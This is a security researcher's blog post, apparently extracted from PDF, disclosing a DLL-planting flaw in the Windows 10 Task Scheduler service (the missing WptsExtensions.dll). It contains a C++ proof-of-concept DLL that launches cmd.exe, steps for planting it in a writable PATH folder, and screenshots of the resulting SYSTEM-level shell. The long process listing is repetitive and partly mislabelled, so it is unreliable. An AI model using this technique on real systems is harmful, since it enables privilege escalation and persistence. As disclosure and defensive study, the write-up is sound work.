

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS

OK !

EPI Server - IFrame inject...

Windows 10 - Task Scheduler service - Privilege Escalation/Persistence through DLL planting

About last Magecart attack

CVE-2018-7273 - ... 1

Apache Syncope - Remote Code Execution

Cross-Site Scripting (XSS) - ... 7

Riverbed SteelHead - Arbitrary Code Execution

RADWARE Alteo - Remote Code Execution 1

Trend Micro - Control Manager - Remote Code Execution

Sophos SWA - Management Console - Remote Code Execution 2

Apache Mina 2.0.0 - Remote Code Execution 1

F-Secure Policy Manager - Remote Code Execution 2

Apache Wicket 6.23.0 - Remote Code Execution

Alfresco Activiti - Remote Code Execution

SpagoBI - Remote Code Execution

Cisco UCS Software - Remote Code Execution

Abstract

I was recently busy doing some reverse on an antivirus solution. During this review, I figured out the Windows 10 Task Scheduler service was looking for a missing DLL exposing it to DLL hijacking/planting. It opens for persistence and privilege escalation in case one can write a rogue DLL in a folder pointed by the PATH environment variable. It can also be used as a UAC bypass.

DLL Hijacking

5592 WAIT\_HINT : 0x0

5592 SERVICE\_NAME: SamSs

5592 DISPLAY\_NAME: Security Accounts Manager

5592 TYPE : 20 WIN32\_SHARE\_PROCESS

5592 STATE : 4 RUNNING

5592 (NOT\_STOPPABLE, NOT\_PAUSABLE, IGNORES\_SHUTDOWN)

5592 WIN32\_EXIT\_CODE : 0 (0x0)

5592 SERVICE\_EXIT\_CODE : 0 (0x0)

5592 CHECKPOINT : 0x0

5592 WAIT\_HINT : 0x0

5592 SERVICE\_NAME: Schedule

5592 DISPLAY\_NAME: Task Scheduler

5592 TYPE : 30 WIN32

5592 STATE : 4 RUNNING

5592 (STOPPABLE, NOT\_PAUSABLE, ACCEPTS\_SHUTDOWN)

5592 WIN32\_EXIT\_CODE : 0 (0x0)

5592 SERVICE\_EXIT\_CODE : 0 (0x0)

5592 CHECKPOINT : 0x0

5592 WAIT\_HINT : 0x0

5592 SERVICE\_NAME: SecurityAccountsManager

A library in the Task Scheduler service is loaded with a relative name that makes it exposed to DLL hickjacking. When an application or a service is starting on Windows it looks for the used DLLs in order to function properly. If these DLLs don't exist or the software code is developed in an insecure way (DLL's are called without using a fully qualified path) then it's possible to escalate privileges by forcing the application to load and execute a malicious DLL file.

It should be noted that when an application needs to load a DLL it will go through the following order:

Dynamic View s theme. Pow ered by [Blogger](#). [Report Abuse](#).

Page 1 of 6

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

**EN SAVOIR PLUS OK !**

Windows 10 - Task Sch...

About last Magecart atta...

CVE-2018-7273 -...

Apache Syncope - Rem...

Cross-Site Script...

Riverbed SteelHead - Ar...

RADWARE Alteo...

Trend Micro – Control M...

Sophos SWA- M...

Apache Mina 2.0....

F-Secure Policy ...

Apache Wicket 6.23.0 – ...

Alfresco Activiti

SpagoBI - Remote Cod...

Cisco UCS Software - C...

Dynamic View s theme. Pow erred by [Blogger](#). [Report Abuse](#).

An attacker can craft a specific DLL that executes code on loading to abuse this weakness.

```

dllmain.cpp  DllHijacking.cpp
DllHijacking  (Global Scope)
#include <iostream>

BOOL WINAPI DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    //DisableThreadLibraryCalls(hModule);
    //HideModule(hModule);
    TCHAR cmdPath[28] = T("C:\\Windows\\System32\\cmd.exe");
    TCHAR cmdArgs[59] = T("C:\\Windows\\System32\\cmd.exe /K echo 1 >> C:\\Tools\\reve.txt");
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            STARTUPINFO si;
            PROCESS_INFORMATION pi;

            ZeroMemory(&si, sizeof(si));
            si.cb = sizeof(si);
            ZeroMemory(&pi, sizeof(pi));

            if (!CreateProcess(cmdPath, // No module name (use command line)
                             cmdArgs, // Command line
                             NULL, // Process handle not inheritable
                             NULL, // Thread handle not inheritable
                             FALSE, // Set handle inheritance to FALSE
                             0, // No creation flags
                             NULL, // Use parent's environment block
                             NULL, // Use parent's starting directory
                             &si, // Pointer to STARTUPINFO structure
                             &pi, // Pointer to PROCESS_INFORMATION structure
                             NULL))
            {
                return FALSE;
            }
    }
}

```

Then the attacker analyzes the PATH environment variable to check if he can deploy a rogue DLL under a referenced folder.

EPIServer - Iframe inject...

Windows 10 - Task Sch...

About last Magecart atta...

CVE-2018-7273 -...

Apache Syncope - Rem...

Cross-Site Script...

Riverbed SteelHead - Ar...

RADWARE Alteo...

Trend Micro – Control M...

Sophos SWA- M...

Apache Mina 2.0....

F-Secure Policy ...

Apache Wicket 6.23.0 – ...

Alfresco Activiti

SpagoBI - Remote Cod...

Cisco UCS Software - C...

EN SAVOIR PLUS

OK !

System va

Variable

ComSp

DriverD

NUMBI

C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\

C:\Program Files\Git\cmd

C:\python27-x64

Delete

Move Up

Move Down

Edit text...

In this case the attacker has the right to write in the C:\python27-x64 folder.

python27-x64

File

Home

Share

View

Local Disk (C:)

python27-x64

Quick access

Desktop

Downloads

Documents

Pictures

\\VBOXSVR\Down

avira

drivers

reve

Tools

OneDrive

This PC

Network

Name

Date modified

Type

Size

DLLs

12/23/2018 2:55 AM

File folder

Doc

12/23/2018 2:55 AM

File folder

include

12/23/2018 2:55 AM

File folder

Lib

12/23/2018 2:57 AM

File folder

libs

12/23/2018 2:55 AM

File folder

Scripts

12/23/2018 2:56 AM

File folder

tcl

12/23/2018 2:55 AM

File folder

Tools

12/23/2018 2:55 AM

File folder

Dll-hijacking.dll

4/12/2019 1:35 AM

Application extens...

13 KB

LICENSE

12/17/2016 8:59 PM

Text Document

38 KB

NEWS

12/17/2016 8:34 PM

Text Document

464 KB

python

12/17/2016 8:55 PM

Application

28 KB

pythonnw

12/17/2016 8:55 PM

Application

28 KB

README

12/3/2016 9:01 PM

Text Document

56 KB

















The DLL is then renamed to match the missing DLL.












Dynamic View s theme. Pow ered by [Blogger](#). [Report Abuse](#).

Page 3 of 6

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS    OK !

-  EPI Server - Iframe inject...
-  Windows 10 - Task Sch...
-  About last Magecart atta...
-  CVE-2018-7273 - ... 1
-  Apache Syncope - Rem...
-  Cross-Site Script... 7
-  Riverbed SteelHead - Ar...
-  RADWARE Alteo... 1
-  Trend Micro – Control M...
-  Sophos SWA - M... 2
-  Apache Mina 2.0... 1
-  F-Secure Policy ... 2
-  Apache Wicket 6.23.0 – ...
-  Alfresco Activiti
-  SpagoBI - Remote Cod...
-  Cisco UCS Software - C...

	Tools	12/23/2018 2:55 AM	File folder	
	c.dll.bck	4/12/2019 1:42 AM	BCK File	13 KB
	iservconfigst.dll.bck	4/12/2019 1:42 AM	BCK File	13 KB
	LICENSE	12/17/2016 8:59 PM	Text Document	38 KB
	NEWS	12/17/2016 8:34 PM	Text Document	464 KB
	output	4/17/2019 8:15 AM	Text Document	216,554 KB
	python	12/17/2016 8:55 PM	Application	28 KB
	pythonw	12/17/2016 8:55 PM	Application	28 KB
	README	12/3/2016 9:01 PM	Text Document	56 KB
	System.DLL.bck	5/13/2019 7:17 AM	BCK File	13 KB
	WptsExtensions.dll	5/13/2019 7:17 AM	Application extens...	13 KB

When the system is rebooted or the service restarted, the application will start cmd.exe with "NT\_AUTHORITY\SYSTEM" rights.

Process	CPU	Private Bytes	Working Set	PID	Description	Company Name	User Name	Command Line
System Idle Process	0.00%	0 K	0 K	0	System Idle Process	Microsoft Corporation	NT AUTHORITY\SYSTEM	
smss.exe	0.00%	4,384 K	3,360 K	516	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	516	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	528	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	528	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	540	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	540	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	552	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	552	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	564	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	564	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	576	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	576	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	588	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	588	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	600	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	600	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	612	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	612	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	624	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	624	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	636	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	636	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	648	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	648	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	660	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	660	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	672	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	672	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	684	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	684	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	696	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	696	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	708	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	708	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	720	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	720	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	732	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	732	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	744	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	744	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	756	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	756	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	768	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	768	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	780	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	780	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	792	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	792	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	804	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	804	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	816	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	816	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	828	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	828	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	840	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	840	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	852	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	852	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	864	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	864	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	876	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	876	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	888	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	888	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	900	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	900	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	912	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	912	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	924	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	924	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	936	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	936	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	948	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	948	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	960	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	960	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	972	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	972	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	984	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	984	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	996	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami
cmd.exe	0.00%	4,384 K	3,360 K	996	Windows Command Processor	Microsoft Corporation	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe /K whoami

An attacker with standard user rights can leverage this to make the "Task Scheduler" service create an administrator account on the local machine in conjunction with a weakness in the PATH environment variable. It can also be used as a persistence mechanism and a UAC bypass.


By doing some reverse, one can see the issue is located in the library "WPTaskScheduler.dll" that imports the library "WptsExtensions.dll".

We can see there is no full path when the library is imported.




Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.


EN SAVOIR PLUS    OK !




EPI Server - IFrame inject...




Windows 10 - Task Sch...




About last Magecart atta...




CVE-2018-7273 - ...




Apache Syncope - Rem...




Cross-Site Script...




Riverbed SteelHead - Ar...




RADWARE Alteo...




Trend Micro – Control M...




Sophos SWA - M...




Apache Mina 2.0....




F-Secure Policy ...




Apache Wicket 6.23.0 – ...



Alfresco Activiti



SpagoBI - Remote Cod...




Cisco UCS Software - C...

Posted 16th May 2019 by [Gregory DRAPER](#)

✕ Post

0 Add a comment



Enter comment

Dynamic View s theme. Pow ered by [Blogger](#). [Report Abuse](#).

Page 6 of 6